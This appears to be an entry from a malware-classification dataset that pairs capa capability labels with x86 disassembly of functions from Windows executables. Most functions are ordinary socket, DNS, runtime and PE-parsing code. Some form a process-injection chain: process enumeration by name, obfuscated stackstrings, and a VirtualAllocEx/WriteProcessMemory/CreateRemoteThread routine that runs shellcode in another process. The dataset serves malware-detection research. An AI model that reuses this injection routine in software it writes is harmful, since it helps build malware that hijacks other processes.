joyce8/EMBER2024-capa huggingface dataset:
Function at 0x485b00
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x10c]
push ebp
cmp dword [ebx + 0x7c], 2
mov ebp, dword [ebx]
je 0x485cc3
cmp byte [ebx + 0x231], 0
push esi
push edi
jne 0x485c77
mov esi, dword [esp + 0x11c]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x98]
mov dword [esp + 0x14], pe_nt_image_headers32
push eax
push esi
call dword [sym.imp.WSOCK32.DLL_getpeername]
test eax, eax
je 0x485b7b
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov esi, eax
push esi
push ebx
call fcn.004970b0
push eax
push esi
push str.getpeername___failed_with_errno__d:__s
push ebp
call fcn.00482750
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
push pe_nt_image_headers32
lea eax, [esp + 0x18]
mov dword [esp + 0x14], pe_nt_image_headers32
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.WSOCK32.DLL_getsockname]
test eax, eax
je 0x485bd6
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov esi, eax
push esi
push ebx
call fcn.004970b0
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebp
call fcn.00482750
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea eax, [ebx + 0xd8]
push eax
lea esi, [ebx + 0xa8]
lea eax, [esp + 0x98]
push esi
push eax
call fcn.004861b0
add esp, 0xc
test al, al
jne 0x485c22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebx
call fcn.004970b0
push eax
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.00482750
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea edi, [ebx + 0x48]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
lea eax, [ebx + 0x10c]
push eax
lea eax, [ebx + 0xdc]
push eax
lea eax, [esp + 0x1c]
movsw word es:[edi], word [esi]
push eax
call fcn.004861b0
add esp, 0xc
test al, al
jne 0x485c77
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebx
call fcn.004970b0
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.00482750
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
mov edi, dword [ebx]
lea esi, [ebx + 0xa8]
add edi, 0x8654
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xb
movsw word es:[edi], word [esi]
mov edi, dword [ebx]
lea esi, [ebx + 0xdc]
add edi, 0x8688
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [ebx]
mov eax, dword [ebx + 0xd8]
pop edi
pop esi
mov dword [ecx + 0x8684], eax
mov ecx, dword [ebx]
mov eax, dword [ebx + 0x10c]
mov dword [ecx + 0x86b8], eax
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x486520
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
xor eax, eax
push edi
mov edi, dword [esp + 0x20]
push 4
cmp byte [esi + 0x398], al
setne al
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WSOCK32.DLL_setsockopt]
test eax, eax
jns 0x48656a
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.00482820
add esp, 0xc
pop edi
pop esi
add esp, 0x10
ret
push dword [esi + 0x39c]
mov dword [esp + 0x10], 1
call fcn.00491220
push dword [esi + 0x3a0]
imul eax, eax, 0x3e8
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], eax
call fcn.00491220
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x24]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.DLL_WSAIoctl]
test eax, eax
je 0x4865e1
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.00482820
add esp, 0x10
pop edi
pop esi
add esp, 0x10
ret

Function at 0x4865f0
Capabilities:
Set socket configuration

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 4
mov esi, dword [edi]
movzx eax, byte [esi + 0x29a]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 1
push 6
push dword [esp + 0x20]
call dword [sym.imp.WSOCK32.DLL_setsockopt]
test eax, eax
jns 0x48663b
call dword [sym.imp.WSOCK32.DLL_WSAGetLastError]
push eax
push edi
call fcn.004970b0
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.00482820
add esp, 0x14
pop edi
pop esi
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.00482820
add esp, 8
pop edi
pop esi
ret
Function at 0x48d420
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov bl, byte [esi]
test bl, bl
je 0x48d4d1
mov cl, byte [edi]
test cl, cl
je 0x48d4d1
movsx eax, bl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x48d44a
jmp dword [eax*4 + 0x48d4f8]
mov bl, 0x41
jmp case.default.0x48d44a
mov bl, 0x42
jmp case.default.0x48d44a
mov bl, 0x43
jmp case.default.0x48d44a
mov bl, 0x44
jmp case.default.0x48d44a
mov bl, 0x45
jmp case.default.0x48d44a
mov bl, 0x46
jmp case.default.0x48d44a
mov bl, 0x47
jmp case.default.0x48d44a
mov bl, 0x48
jmp case.default.0x48d44a
mov bl, 0x49
jmp case.default.0x48d44a
mov bl, 0x4a
jmp case.default.0x48d44a
mov bl, 0x4b
jmp case.default.0x48d44a
mov bl, 0x4c
jmp case.default.0x48d44a
mov bl, 0x4d
jmp case.default.0x48d44a
mov bl, 0x4e
jmp case.default.0x48d44a
mov bl, 0x4f
jmp case.default.0x48d44a
mov bl, 0x50
jmp case.default.0x48d44a
mov bl, 0x51
jmp case.default.0x48d44a
mov bl, 0x52
jmp case.default.0x48d44a
mov bl, 0x53
jmp case.default.0x48d44a
mov bl, 0x54
jmp case.default.0x48d44a
mov bl, 0x55
jmp case.default.0x48d44a
mov bl, 0x56
jmp case.default.0x48d44a
mov bl, 0x57
jmp case.default.0x48d44a
mov bl, 0x58
jmp case.default.0x48d44a
mov bl, 0x59
jmp case.default.0x48d44a
mov bl, 0x5a
push ecx
call fcn.0048d6d0
add esp, 4
cmp bl, al
jne 0x48d4d1
mov bl, byte [esi + 1]
inc esi
inc edi
test bl, bl
jne 0x48d435
movzx eax, byte [esi]
push eax
call fcn.0048d6d0
movzx ecx, byte [edi]
mov bl, al
push ecx
call fcn.0048d6d0
add esp, 8
xor ecx, ecx
cmp bl, al
sete cl
pop edi
pop esi
mov eax, ecx
pop ebx
ret
Function at 0x48d560
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
mov bl, byte [edi]
test bl, bl
je 0x48d626
lea ebx, [ebx]
mov cl, byte [ebp]
test cl, cl
je 0x48d626
test esi, esi
je 0x48d62a
movsx eax, bl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x48d59e
jmp dword [eax*4 + 0x48d65c]
mov bl, 0x41
jmp case.default.0x48d59e
mov bl, 0x42
jmp case.default.0x48d59e
mov bl, 0x43
jmp case.default.0x48d59e
mov bl, 0x44
jmp case.default.0x48d59e
mov bl, 0x45
jmp case.default.0x48d59e
mov bl, 0x46
jmp case.default.0x48d59e
mov bl, 0x47
jmp case.default.0x48d59e
mov bl, 0x48
jmp case.default.0x48d59e
mov bl, 0x49
jmp case.default.0x48d59e
mov bl, 0x4a
jmp case.default.0x48d59e
mov bl, 0x4b
jmp case.default.0x48d59e
mov bl, 0x4c
jmp case.default.0x48d59e
mov bl, 0x4d
jmp case.default.0x48d59e
mov bl, 0x4e
jmp case.default.0x48d59e
mov bl, 0x4f
jmp case.default.0x48d59e
mov bl, 0x50
jmp case.default.0x48d59e
mov bl, 0x51
jmp case.default.0x48d59e
mov bl, 0x52
jmp case.default.0x48d59e
mov bl, 0x53
jmp case.default.0x48d59e
mov bl, 0x54
jmp case.default.0x48d59e
mov bl, 0x55
jmp case.default.0x48d59e
mov bl, 0x56
jmp case.default.0x48d59e
mov bl, 0x57
jmp case.default.0x48d59e
mov bl, 0x58
jmp case.default.0x48d59e
mov bl, 0x59
jmp case.default.0x48d59e
mov bl, 0x5a
push ecx
call fcn.0048d6d0
add esp, 4
cmp bl, al
jne 0x48d626
mov bl, byte [edi + 1]
inc edi
dec esi
inc ebp
test bl, bl
jne 0x48d580
test esi, esi
jne 0x48d634
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
movzx eax, byte [edi]
push eax
call fcn.0048d6d0
movzx ecx, byte [ebp]
mov bl, al
push ecx
call fcn.0048d6d0
add esp, 8
xor ecx, ecx
cmp bl, al
sete cl
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
ret

Function at 0x48d6d0
Capabilities:
Parse pe header

Disassembly:
mov cl, byte [esp + 4]
movsx eax, cl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x48d6df
jmp dword [eax*4 + 0x48d738]
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret
mov al, cl
ret
Function at 0x48d7a0
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0x10]
cmp esi, 1
jb 0x48d84c
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0xc]
sub edi, edx
lea esp, [esp]
mov cl, byte [edx]
movsx eax, cl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x48d7cd
jmp dword [eax*4 + 0x48d850]
mov cl, 0x41
jmp case.default.0x48d7cd
mov cl, 0x42
jmp case.default.0x48d7cd
mov cl, 0x43
jmp case.default.0x48d7cd
mov cl, 0x44
jmp case.default.0x48d7cd
mov cl, 0x45
jmp case.default.0x48d7cd
mov cl, 0x46
jmp case.default.0x48d7cd
mov cl, 0x47
jmp case.default.0x48d7cd
mov cl, 0x48
jmp case.default.0x48d7cd
mov cl, 0x49
jmp case.default.0x48d7cd
mov cl, 0x4a
jmp case.default.0x48d7cd
mov cl, 0x4b
jmp case.default.0x48d7cd
mov cl, 0x4c
jmp case.default.0x48d7cd
mov cl, 0x4d
jmp case.default.0x48d7cd
mov cl, 0x4e
jmp case.default.0x48d7cd
mov cl, 0x4f
jmp case.default.0x48d7cd
mov cl, 0x50
jmp case.default.0x48d7cd
mov cl, 0x51
jmp case.default.0x48d7cd
mov cl, 0x52
jmp case.default.0x48d7cd
mov cl, 0x53
jmp case.default.0x48d7cd
mov cl, 0x54
jmp case.default.0x48d7cd
mov cl, 0x55
jmp case.default.0x48d7cd
mov cl, 0x56
jmp case.default.0x48d7cd
mov cl, 0x57
jmp case.default.0x48d7cd
mov cl, 0x58
jmp case.default.0x48d7cd
mov cl, 0x59
jmp case.default.0x48d7cd
mov cl, 0x5a
mov byte [edi + edx], cl
mov al, byte [edx]
inc edx
test al, al
je 0x48d84b
dec esi
jne 0x48d7c0
pop edi
pop esi
ret
Function at 0x4932b0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push dword [esp + 0x108]
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x4932f9
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x4932f9
lea eax, [esp]
push eax
call dword [0x4fef24]
add esp, 4
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret
Function at 0x498140
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
push ebp
xor ebp, ebp
mov dword [esp + 4], ebp
mov dword [eax], ebp
lea eax, [esp + 8]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.DLL_getaddrinfo]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x4982d3
push ebx
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x4982bd
push esi
mov eax, dword [edi + 4]
cmp eax, 2
jne 0x49818f
lea ebx, [eax + 0xe]
jmp 0x49819b
cmp eax, 0x17
jne 0x49824a
lea ebx, [eax + 5]
cmp dword [edi + 0x18], 0
je 0x49824a
mov eax, dword [edi + 0x10]
test eax, eax
je 0x49824a
cmp eax, ebx
jb 0x49824a
push 0x20
call dword [0x4fef18]
mov esi, eax
add esp, 4
test esi, esi
je 0x4982b2
mov eax, dword [edi]
mov dword [esi], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x1c], 0
call dword [0x4fef18]
add esp, 4
mov dword [esi + 0x18], eax
test eax, eax
je 0x4982a1
push ebx
push dword [edi + 0x18]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [edi + 0x14]
add esp, 0xc
test eax, eax
je 0x498235
push eax
call dword [0x4fef24]
add esp, 4
mov dword [esi + 0x14], eax
test eax, eax
je 0x498287
test ebp, ebp
jne 0x49823b
mov ebp, esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x498246
mov dword [eax + 0x1c], esi
mov dword [esp + 0x10], esi
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x498182
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
pop esi
test eax, eax
je 0x498269
push eax
call dword [sym.imp.WS2_32.DLL_freeaddrinfo]
test ebx, ebx
je 0x4982b9
push ebp
call fcn.00498100
mov eax, dword [esp + 0x2c]
add esp, 4
xor ebp, ebp
mov dword [eax], ebp
mov eax, ebx
pop edi
pop ebx
pop ebp
add esp, 0xc
ret
push dword [esi + 0x18]
mov ebx, 8
call dword [0x4fef1c]
push esi
call dword [0x4fef1c]
add esp, 8
jmp 0x498259
push esi
mov ebx, 8
call dword [0x4fef1c]
add esp, 4
jmp 0x498259
mov ebx, 8
jmp 0x498259
test ebp, ebp
jne 0x4982c9
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WSOCK32.DLL_WSASetLastError]
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], ebp
mov eax, ebx
pop ebx
pop ebp
add esp, 0xc
ret

Function at 0x498720
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x264], 2
je fcn.004986d0
mov al, 1
ret
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x56ab08
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x56ab04]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call fcn.0041d484
jmp 0x4011d3
mov eax, dword [0x56ab04]
test eax, eax
jne 0x4011c9
mov dword [0x56ab04], 1
mov dword [esp + 4], 0x56d014
mov dword [esp], 0x56d00c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x4011d3
mov dword [0x56a01c], 1
mov eax, dword [0x56ab04]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x56d008
mov dword [esp], section..CRT
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x56ab04], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x56ab08
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [entry1]
test eax, eax
je 0x401241
mov eax, dword [entry1]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call fcn.0040e1dd
mov dword [esp], 0x40e2f8
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x56a074], eax
mov dword [esp], section..text
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.0040db7c
mov eax, dword [0x56a004]
mov dword [esp + 4], 0x56a008
mov dword [esp], eax
call fcn.004013c8
call fcn.0040d9b8
mov eax, dword [0x4c721c]
mov edx, dword [0x56a00c]
mov dword [eax], edx
mov ecx, dword [0x56a00c]
mov edx, dword [0x56a008]
mov eax, dword [0x56a004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040d800
mov dword [0x56a014], eax
mov eax, dword [0x56a018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x56a014]
mov dword [esp], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x56a01c]
test eax, eax
jne 0x4012de
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x56a014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x56a04c], 1
mov dword [0x56a050], 1
mov dword [0x56a054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret
Function at 0x4019d5
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x1154
call fcn.0040eb34
sub esp, eax
mov dword [ebp - 0x1038], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x1038]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1000
lea eax, [ebp - 0x1034]
mov dword [esp], eax
call sub.PSAPI.DLL_EnumProcesses
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x401a33
mov eax, 0
jmp 0x401b69
mov eax, dword [ebp - 0x1038]
shr eax, 2
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401b31
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x1034]
test eax, eax
je 0x401b2d
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x1034]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x410
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0x104
lea eax, [ebp - 0x113c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.PSAPI.DLL_GetModuleBaseNameA
sub esp, 0x10
lea eax, [ebp - 0x19]
mov dword [ebp - 0x18], eax
nop
nop
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x19]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call fcn.004a10d0
sub esp, 8
lea eax, [ebp - 0x113c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x34]
mov dword [esp], eax
call fcn.004bb290
mov ebx, eax
lea eax, [ebp - 0x34]
mov ecx, eax
call fcn.004a1880
lea eax, [ebp - 0x19]
mov ecx, eax
call fcn.00492748
nop
test bl, bl
je 0x401b1d
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x1034]
jmp 0x401b69
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jb 0x401a4b
mov eax, 0
jmp 0x401b69
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401b6e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401bc4
mov eax, 0xffffffff
jmp 0x401c7c
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401c00
mov eax, 0xffffffff
jmp 0x401c7c
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401c77
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x401c7c
mov eax, 0xffffffff
leave
ret

Function at 0x401e08
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x14], 0x5d40505c
mov dword [ebp - 0x24], 0x6475676b
mov dword [ebp - 0x20], 0x36707163
mov dword [ebp - 0x1c], 0x376d3965
mov dword [ebp - 0x18], 0x74455452
mov dword [esp + 0xc], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 4
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.004016f0
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4c9093
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.004be650
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
jmp 0x401e8a
mov eax, dword [ebp - 0xc]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov dword [ebp + 8], edx
movzx eax, byte [eax]
movsx eax, al
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne al
test al, al
jne 0x401e75
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x40db84
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041d2a4
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x40e758
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40e777
mov eax, 0
jmp 0x40e7bb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40e79a
mov eax, 0
jmp 0x40e7bb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40e7b6
mov eax, 0
jmp 0x40e7bb
mov eax, 1
leave
ret

Function at 0x40e7bd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40e81c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40e814
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40e814
mov eax, dword [ebp - 4]
jmp 0x40e830
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40e7f1
mov eax, 0
leave
ret